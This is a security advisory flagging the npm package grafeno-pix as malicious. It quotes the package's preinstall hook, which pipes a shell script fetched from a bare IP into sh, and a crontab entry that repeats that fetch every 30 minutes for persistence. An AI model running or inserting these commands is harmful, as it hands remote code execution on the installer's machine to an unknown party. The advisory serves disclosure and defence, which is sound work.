npm · Malicious package advisory
Malwaregrafeno-pix
GHSA-4wxj-99qv-hg78
Malicious code in grafeno-pix (npm)
Details
**Severity:** Critical **Affected versions:** `= 1.0.0` ## Source: amazon-inspector (a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3) [email protected] declares a preinstall hook that runs `curl -s 216.126.236.46/x.sh | sh`, fetching a shell script from a bare IP over plain HTTP and executing it as the installer on `npm install`. The same hook installs a crontab entry (`*/30 * * * * curl -s 216.126.236.46/x.sh | sh`) that re-fetches and executes the remote script every 30 minutes, providing persistent remote code delivery to the installer's host. The endpoint is an anonymous bare-IP address unrelated to any package publisher and the fetched content is unpinned and integrity-unchecked, so whatever bytes 216.126.236.46 returns run as the user performing the install, indefinitely. ## Source: ossf-package-analysis (e991c3c85e0ddf3403892cc87f458dc91d6a8c2d1da6cca375034c1a0857e584) The OpenSSF Package Analysis project identified 'grafeno-pix' @ 1.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/8278ab2bd67eee704962fa11801bbf9da85d4939/osv/malicious/npm/grafeno-pix/MAL-2026-15507.json)) **References:** - https://github.com/ossf/malicious-packages/blob/8278ab2bd67eee704962fa11801bbf9da85d4939/osv/malicious/npm/grafeno-pix/MAL-2026-15507.json - https://www.npmjs.com/package/grafeno-pix/v/1.0.0 - https://github.com/ossf/malicious-packages/blob/8ac98a94823b43b171a069b6c33a521677e7718e/osv/malicious/npm/grafeno-pix/MAL-2026-15507.json - https://www.npmjs.com/package/grafeno-pix/v/1.0.1 - https://github.com/advisories/GHSA-4wxj-99qv-hg78
Compromised versions (1)
- = 1.0.0
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.